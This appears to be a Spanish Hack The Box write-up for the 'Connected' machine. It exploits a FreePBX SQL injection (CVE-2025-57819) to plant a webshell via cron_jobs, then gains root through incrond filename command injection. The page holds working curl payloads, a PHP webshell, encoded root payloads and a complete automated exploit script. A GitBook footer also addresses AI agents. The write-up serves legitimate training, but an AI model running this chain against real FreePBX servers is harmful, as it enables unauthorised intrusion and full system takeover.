> For the complete documentation index, see [llms.txt](https://oliver-3.gitbook.io/redteam-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oliver-3.gitbook.io/redteam-notes/hack-the-box/htb-connected.md).

# HTB — Connected

##

**Dificultad:** Easy | **OS:** Linux | **Fecha:** 06 Jun 2026 | **Creador:** PJ131

***

### Resumen Ejecutivo

Connected expone una instancia de **FreePBX 16.0.40.7** sobre HTTPS. Esa versión es vulnerable a un chain unauthenticated de **SQLi → RCE** (CVE-2025-57819) que permite inyectar trabajos en la tabla `cron_jobs` de la base de datos y dropear una webshell PHP en el webroot.

Una vez dentro como `asterisk`, la escalada a root explota un hook de **incrond** propio de la infraestructura Sangoma/FreePBX: el directorio de triggers es escribible por `asterisk`, y el nombre del archivo que se crea *es* el payload — codificado como `gzip → JSON → base64` para bypassar el filtro del script `sysadmin_manager`, que lo decodifica y ejecuta como root.

**Chain completo:**

```
Unauthenticated SQLi (brand param)
  → INSERT en cron_jobs
    → webshell PHP como asterisk
      → write en /var/spool/asterisk/incron/
        → incrond dispara sysadmin_manager como root
          → command injection vía payload en filename
            → root
```

***

### 1. Reconocimiento — Nmap

```bash
nmap -p- --min-rate 5000 -A -T4 10.129.10.139 -oA recon/nmap_full
```

| Puerto | Servicio | Detalle                                   |
| ------ | -------- | ----------------------------------------- |
| 22     | SSH      | OpenSSH 7.4                               |
| 80     | HTTP     | Apache 2.4.6 — redirect a `connected.htb` |
| 443    | HTTPS    | Apache 2.4.6 — SSL cert: `CN=pbxconnect`  |

> **Señal clave:** el `commonName=pbxconnect` en el certificado SSL y el redirect a `http://connected.htb/` indican FreePBX/Sangoma antes de visitar la web. El puerto 53 no responde → DNS descartado.

```bash
echo "10.129.10.139 connected.htb" | sudo tee -a /etc/hosts
```

***

### 2. Enumeración Web

Visitar `https://10.129.10.139/` (o `https://connected.htb/`) redirige al panel de administración de **FreePBX 16.0.40.7**.

```bash
curl -sk https://10.129.10.139/ -L | grep -i "freepbx\|version"
# FreePBX Administration — load_version=16.0.40.7
```

Elemento notable en el HTML del login:

```html
<div id="key" style="color: white; font-size: small">
    n9u74tpn2mfgqs8aqaqre4k8qg
</div>
```

> Ese valor es el **PHPSESSID** reflejado en el DOM — no es una password. Cambia con cada request.

El `robots.txt` confirma la tecnología:

```
# This file is included in the event that an installation has
# inappropriately exposed their GUI to the outside internet...
User-agent: *
Disallow: /
```

Gobuster no aporta rutas relevantes más allá de `/admin`, `/ucp` y `robots.txt`.

***

### 3. Vulnerability Research — CVE-2025-57819

FreePBX 15, 16 y 17 contienen una **SQLi no autenticada** en el endpoint del módulo `endpoint`:

```
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
                   &command=model&template=x&model=model
                   &brand=<PAYLOAD>
```

El parámetro `brand` se inyecta directamente en una query MySQL sin sanitizar. El tipo de inyección es **error-based** vía `EXTRACTVALUE()` y además soporta **stacked queries**, lo que permite ejecutar `INSERT`, `UPDATE` y `DELETE`.

**Referencias:**

* [CVE-2025-57819 — GitHub Advisory](https://github.com/freepbx/security-reporting/security/advisories/ghsa-m42g-xg4c-5f3h)
* [watchTowr PoC](https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819)

***

### 4. Verificación de SQLi

```bash
# Confirmar inyección — extraer usuario de DB
curl -sk "https://10.129.10.139/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT+USER()),'~'))+--+" | grep message
```

**Respuesta:**

```json
{"error":{"message":"XPATH syntax error: '~USER:freepbxuser@localhost~'"}}
```

SQLi confirmada. El usuario de DB es `freepbxuser@localhost`.

#### Extracción de credenciales del admin

```bash
BASE="https://10.129.10.139/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model"

# 1. Listar columnas de ampusers
curl -sk "$BASE&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~',(SELECT+GROUP_CONCAT(column_name)+FROM+information_schema.columns+WHERE+table_name='ampusers'),'~'))+--+" | grep -o '"message":"[^"]*"'
# → username,email,extension,passwo  (truncado a 32 chars)

# Ver el resto con SUBSTRING desde el char 30
curl -sk "$BASE&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~',(SELECT+SUBSTRING(GROUP_CONCAT(column_name),30)+FROM+information_schema.columns+WHERE+table_name='ampusers'),'~'))+--+" | grep -o '"message":"[^"]*"'
# → word_sha1,extension_low,extensi...
# Columna de password confirmada: password_sha1

# 2. Verificar largo del hash
curl -sk "$BASE&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~LEN:',(SELECT+LENGTH(password_sha1)+FROM+ampusers+LIMIT+1),'~'))+--+" | grep -o '"message":"[^"]*"'
# → LEN:40  (SHA1 estándar)

# 3. Extraer hash en dos partes (límite ~30 chars útiles por EXTRACTVALUE)
curl -sk "$BASE&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~',(SELECT+SUBSTRING(password_sha1,1,30)+FROM+ampusers+LIMIT+1),'~'))+--+" | grep -o '"message":"[^"]*"'
# → 05c689686a4fad5ce3ec76e7ae5708  (30 chars)

curl -sk "$BASE&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~',(SELECT+SUBSTRING(password_sha1,30)+FROM+ampusers+LIMIT+1),'~'))+--+" | grep -o '"message":"[^"]*"'
# → 8b1fe2da43a

# Reconstrucción del hash — atención al overlap:
#   SUBSTRING(password_sha1, 1, 30)  → "05c689686a4fad5ce3ec76e7ae5708"  (chars 1-30, exactamente 30)
#   SUBSTRING(password_sha1, 31, 30) → "b1fe2da43a"                       (chars 31-40)
#
# Concatenación directa SIN overlap (empezar el 2do chunk en 31, no en 30):
#   05c689686a4fad5ce3ec76e7ae5708 + b1fe2da43a
#   = 05c689686a4fad5ce3ec76e7ae5708b1fe2da43a  ✓ (40 chars)

echo "05c689686a4fad5ce3ec76e7ae5708b1fe2da43a" > loot/admin.hash

# 4. Intentar crackear
hashcat -m 100 loot/admin.hash /usr/share/wordlists/rockyou.txt
# Status: Exhausted — no está en rockyou
```

> **Nota sobre el truncado de EXTRACTVALUE:** MySQL limita el mensaje de error de `EXTRACTVALUE` a \~32 caracteres útiles. Para extraer strings más largos (SHA1 = 40 chars) se hacen dos queries con `SUBSTRING(campo, 1, 30)` y `SUBSTRING(campo, 31, 30)`. **Importante:** el segundo chunk debe empezar en la posición 31, no en 30. Si empieza en 30, el char de esa posición aparece en ambas partes y al concatenar el hash queda de 41 chars (corrupto). Con offset 31 la concatenación es directa y limpia. El hash correcto del admin es `05c689686a4fad5ce3ec76e7ae5708b1fe2da43a`.

> El hash no crackeó con rockyou — la password del admin original no estaba en el diccionario. Esto no es bloqueante: la SQLi permite crear usuarios directamente vía stacked queries (ver sección 5).

***

### 5. Foothold — SQLi → RCE

#### Mecanismo del exploit

El método no usa `INTO OUTFILE` sino **stacked queries** para insertar una entrada en la tabla `cron_jobs` de FreePBX. Esa tabla es procesada por el scheduler de Asterisk, que ejecuta el comando como el usuario `asterisk` cada minuto (`* * * * *`).

El comando inyectado decodifica un payload PHP en base64 y lo escribe en el webroot:

```
echo <BASE64_WEBSHELL> | base64 -d > /var/www/html/<nombre>.php
```

#### Ejecución con watchTowr PoC

```bash
python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H https://10.129.10.139
```

El exploit:

1. Inyecta el `INSERT` en `cron_jobs` via SQLi en `brand`
2. Espera hasta 60s a que el cron de FreePBX ejecute el comando
3. Verifica la webshell con `?cmd=hostname`

**Webshell activa:**

```
https://10.129.10.139/this-is-an-ioc-not-actually-watchTowr-<random>.php
```

```bash
curl -sk "https://10.129.10.139/<webshell>.php?cmd=id"
# uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)
```

#### User flag

```bash
curl -sk "https://10.129.10.139/<webshell>.php?cmd=cat+/home/asterisk/user.txt"
# <USER_FLAG>
```

***

### 6. Enumeración Post-Explotación

#### Credenciales de DB en freepbx.conf

```bash
curl -sk "https://<TARGET>/<webshell>.php?cmd=cat+/etc/freepbx.conf"
```

```php
// This file was generated at 2025-11-30T14:08:27+00:00

$amp_conf["AMPDBUSER"] = "freepbxuser";
$amp_conf["AMPDBPASS"] = "mZzDpAGKTmPJ";
$amp_conf["AMPDBHOST"] = "localhost";
$amp_conf["AMPDBNAME"] = "asterisk";
$amp_conf["AMPDBENGINE"] = "mysql";
```

> Credenciales útiles para conectarse directamente a MySQL si se necesita profundizar en la enumeración de la DB sin pasar por SQLi.

#### Servicios internos

```bash
curl -sk "https://<TARGET>/<webshell>.php?cmd=ss+-tlnp"
```

```
State   Recv-Q  Send-Q   Local Address:Port    Peer Address:Port
LISTEN  0       128            0.0.0.0:22           0.0.0.0:*
LISTEN  0       4096         127.0.0.1:631          0.0.0.0:*
LISTEN  0       32            10.0.3.1:53            0.0.0.0:*     ← DNS interno (LXC)
LISTEN  0       5             127.0.0.1:5901         0.0.0.0:*     ← VNC (Xtigervnc)
LISTEN  0       100      194.113.75.28:80            0.0.0.0:*     ← Apache bind directo
LISTEN  0       128               [::]:22               [::]:*
```

**Observaciones:**

* No hay MySQL, Redis ni MongoDB expuestos → la DB solo es accesible internamente
* Puerto 53 en `10.0.3.1` → interfaz de un contenedor LXC interno (por eso el zone transfer falló al inicio)
* VNC en `127.0.0.1:5901` → sesión gráfica activa, solo accesible con port forward
* Apache está bindeado a la IP pública directamente (`194.113.75.28:80`), no a `0.0.0.0`

#### incrond — el vector de privesc

```bash
cat /etc/incron.d/sysadmin
```

```
/var/spool/asterisk/incron     IN_MODIFY,IN_ATTRIB,IN_CLOSE_WRITE  /usr/bin/sysadmin_manager $#
/usr/local/asterisk/incron     IN_CLOSE_WRITE                      /usr/bin/sysadmin_manager --local $#
```

**incrond** es el equivalente de cron pero basado en eventos del filesystem (inotify). Cuando detecta un cambio en el directorio watched, ejecuta el comando configurado pasando el nombre del archivo como argumento (`$#`).

```bash
ls -la /var/spool/asterisk/incron/
# drwxrwxr-x asterisk asterisk  ← writable por asterisk!
```

***

### 7. Privilege Escalation — incrond Hook Injection

#### Análisis de sysadmin\_manager

El script `/usr/bin/sysadmin_manager` procesa hooks de FreePBX. Para el hook `api.fwconsole-commands`, hace lo siguiente:

```php
// El argumento es el nombre del archivo creado en el directorio watched
$b = str_replace("_", "/", $filename_suffix); // restaura base64 estándar
$settings = json_decode(gzuncompress(base64_decode($b)), true);
$command = $settings[0];
$cmd = "/usr/sbin/fwconsole $command 2>&1";
$result = exec($cmd, $output, $return);
```

El nombre del archivo **es** el payload. El script lo toma, reemplaza `_` por `/` (para restaurar base64 válido), decodifica, descomprime, parsea JSON y ejecuta el primer elemento como argumento de `fwconsole`.

**Por qué bypassa el filtro:** el filtro de `sysadmin_manager` valida el nombre del hook y algunos caracteres del argumento visible, pero el payload viaja como `gzip → JSON → base64` — los caracteres peligrosos (`;`, `/bin/cp`, etc.) están ocultos dentro del blob comprimido.

#### Construcción del payload

```python
import base64, json, zlib

cmd = "help; /bin/cp /root/root.txt /var/www/html/root.txt; /bin/chmod 644 /var/www/html/root.txt"
payload = base64.b64encode(
    zlib.compress(json.dumps([cmd, "txn"]).encode())
).decode().replace("/", "_")

print(payload)
# eJyLVspIzSmwVtBPyszTTy5Q0C_Kzy8BE3olFSUK+mWJRfrl5eX6...
```

#### Trigger del hook

```bash
printf x > "/var/spool/asterisk/incron/api.fwconsole-commands.<PAYLOAD>"
```

**Lo que ocurre internamente:**

1. `incrond` detecta `IN_CLOSE_WRITE` en `/var/spool/asterisk/incron/`
2. Ejecuta como **root**: `/usr/bin/sysadmin_manager api.fwconsole-commands.<PAYLOAD>`
3. `sysadmin_manager` decodifica el filename → obtiene el comando
4. Ejecuta: `sh -c "/usr/sbin/fwconsole help; /bin/cp /root/root.txt /var/www/html/root.txt; /bin/chmod 644 /var/www/html/root.txt 2>&1"`
5. El `;` rompe el contexto de `fwconsole` → los comandos siguientes corren como root

**Verificación (procesos en ejecución durante el trigger):**

```
root  /usr/bin/php /usr/bin/sysadmin_manager api.fwconsole-commands.<PAYLOAD>
root  sh -c /usr/sbin/fwconsole help; /bin/cp /root/root.txt ...
```

#### Root flag

```bash
cat /var/www/html/root.txt
# <ROOT_FLAG>
```

***

### 8. PWN Script — Automatización Completa

El siguiente script automatiza el chain completo: SQLi → webshell → user flag → privesc → root flag.

```bash
python3 pwn_connected.py http://10.129.10.139/ --host connected.htb
```

```python
#!/usr/bin/env python3
"""
HTB Connected — pwn.py
CVE-2025-57819: FreePBX Unauth SQLi → RCE → root via incrond hook injection
Usage: python3 pwn.py <TARGET_URL> [--host <VHOST>]
"""

import argparse, base64, json, random, shlex, string, time, zlib
from urllib.parse import urljoin
import requests, urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

PHP_SHELL_B64 = "PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg=="


def randstr(n=10):
    return "".join(random.choices(string.ascii_lowercase + string.digits, k=n))

def normalize(url):
    if not url.startswith(("http://","https://")): url = "http://" + url
    return url.rstrip("/") + "/"

def sqli(session, base_url, vhost, brand):
    r = session.get(
        urljoin(base_url, "admin/ajax.php"),
        params={"module": r"FreePBX\modules\endpoint\ajax",
                "command": "model", "template": "x",
                "model": "model", "brand": brand},
        headers={"Host": vhost} if vhost else {},
        verify=False, allow_redirects=False, timeout=12)
    return r.status_code in (200, 500)

def plant_shell(session, base_url, vhost, suffix):
    name = f"htb-{suffix}.php"
    path = f"/var/www/html/{name}"
    job  = f"htb-{suffix}"
    cmd  = f'echo "{PHP_SHELL_B64}"|base64 -d >{path}'
    brand = (
        f"x' ;INSERT INTO cron_jobs "
        f"(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) "
        f"VALUES ('sysadmin','{job}','{cmd}',NULL,'* * * * *',30,1,1) -- ")
    sqli(session, base_url, vhost, brand)
    return name

def wait_shell(session, base_url, vhost, name, timeout=125):
    url = urljoin(base_url, name)
    headers = {"Host": vhost} if vhost else {}
    end = time.time() + timeout
    while time.time() < end:
        try:
            r = session.get(url, params={"cmd":"id"},
                            headers=headers, verify=False, timeout=8)
            if r.status_code == 200 and "uid=" in r.text:
                return url
        except: pass
        time.sleep(3)
    raise RuntimeError("webshell timeout")

def runcmd(session, shell_url, vhost, cmd):
    headers = {"Host": vhost} if vhost else {}
    r = session.get(shell_url, params={"cmd": cmd},
                    headers=headers, verify=False, timeout=15)
    return r.text.strip()

def encode_hook(cmd):
    return base64.b64encode(
        zlib.compress(json.dumps([cmd,"txn"]).encode())
    ).decode().replace("/","_")

def privesc(session, shell_url, vhost, suffix):
    dest   = f"/var/www/html/.root-{suffix}.txt"
    rcmd   = f"help; /bin/cp /root/root.txt {dest}; /bin/chmod 644 {dest}"
    hook   = f"/var/spool/asterisk/incron/api.fwconsole-commands.{encode_hook(rcmd)}"
    runcmd(session, shell_url, vhost, f"printf x > {shlex.quote(hook)}")
    for _ in range(15):
        time.sleep(1)
        flag = runcmd(session, shell_url, vhost, f"cat {dest} 2>/dev/null")
        if flag and "No such file" not in flag:
            return flag, dest
    raise RuntimeError("root flag not found")

def cleanup(session, base_url, vhost, suffix, root_copy, shell_url):
    sqli(session, base_url, vhost,
         f"x'; DELETE FROM cron_jobs WHERE jobname='htb-{suffix}' -- ")
    runcmd(session, shell_url, vhost, f"rm -f /var/www/html/htb-{suffix}.php {root_copy}")

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("target")
    ap.add_argument("--host", default="connected.htb")
    args = ap.parse_args()

    base_url = normalize(args.target)
    suffix   = randstr()
    session  = requests.Session()

    print(f"[*] Target : {base_url}")
    print(f"[*] VHost  : {args.host}")
    print(f"[*] Planting webshell via cron_jobs SQLi...")
    shell_name = plant_shell(session, base_url, args.host, suffix)

    print(f"[*] Waiting for cron (up to 125s)...")
    shell_url = wait_shell(session, base_url, args.host, shell_name)
    print(f"[+] Webshell active")
    print(f"[+] id: {runcmd(session, shell_url, args.host, 'id')}")

    user_flag = runcmd(session, shell_url, args.host,
                       "cat /home/asterisk/user.txt 2>/dev/null")
    print(f"[+] user.txt : {user_flag}")

    print(f"[*] Triggering incrond hook for root...")
    root_flag, root_copy = privesc(session, shell_url, args.host, suffix)
    print(f"[+] root.txt : {root_flag}")

    cleanup(session, base_url, args.host, suffix, root_copy, shell_url)
    print(f"[*] Cleanup done.")

if __name__ == "__main__":
    main()
```

***

### 9. Remediación

| Área              | Problema                                                          | Fix                                                     |
| ----------------- | ----------------------------------------------------------------- | ------------------------------------------------------- |
| FreePBX           | SQLi en parámetro `brand` sin sanitizar                           | Actualizar a versión parcheada                          |
| incrond           | Directorio de triggers writable por usuario de servicio           | Restringir permisos a root:root 750                     |
| sysadmin\_manager | Decodifica y ejecuta payload del filename sin validar contenido   | Validar comandos permitidos con whitelist antes de exec |
| FreePBX           | `cron_jobs` accesible vía SQLi para insertar comandos arbitrarios | Aplicar prepared statements en el módulo endpoint       |

***

### 📚 Conceptos Clave

| Concepto                                 | Descripción                                                                                                                                                                                                                                                                                                                                                                 |
| ---------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **FreePBX SQLi (CVE-2025-57819)**        | El parámetro `brand` en `/admin/ajax.php?module=...endpoint...` se inyecta sin sanitizar. Soporta error-based (`EXTRACTVALUE`) y stacked queries.                                                                                                                                                                                                                           |
| **Error-based SQLi con EXTRACTVALUE**    | `EXTRACTVALUE(1, CONCAT('~', payload, '~'))` fuerza un error XML que incluye el resultado de la subquery en el mensaje de error. Límite: \~32 chars por llamada → usar `SUBSTRING`.                                                                                                                                                                                         |
| **Stacked queries vía cron\_jobs**       | En lugar de `INTO OUTFILE`, se inserta una fila en `cron_jobs` con un comando shell. El scheduler de FreePBX la ejecuta cada minuto como `asterisk`.                                                                                                                                                                                                                        |
| **incrond (inotify cron)**               | Demonio que ejecuta comandos cuando el filesystem genera eventos (create, modify, close\_write) en directorios watched. Equivalente a cron pero basado en eventos, no en tiempo.                                                                                                                                                                                            |
| **Payload-in-filename**                  | El nombre del archivo creado en el directorio de incrond *es* el argumento del comando ejecutado como root. Al codificar el payload como `gzip → JSON → base64`, los caracteres peligrosos son invisibles para el filtro superficial de `sysadmin_manager`.                                                                                                                 |
| **Command injection vía shell metachar** | El `;` dentro del payload, una vez decodificado, rompe el contexto del comando `fwconsole` y permite encadenar comandos arbitrarios que se ejecutan como root.                                                                                                                                                                                                              |
| **EXTRACTVALUE truncation**              | EXTRACTVALUE tiene un límite de \~32 chars en el mensaje de error. Para extraer strings más largos (como hashes SHA1 de 40 chars) hay que hacer dos queries con `SUBSTRING(campo, 1, 30)` y `SUBSTRING(campo, 31, 30)`. El segundo chunk empieza en 31 (no en 30) para evitar overlap — si empieza en 30, el char de esa posición se duplica y el resultado queda corrupto. |


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://oliver-3.gitbook.io/redteam-notes/hack-the-box/htb-connected.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
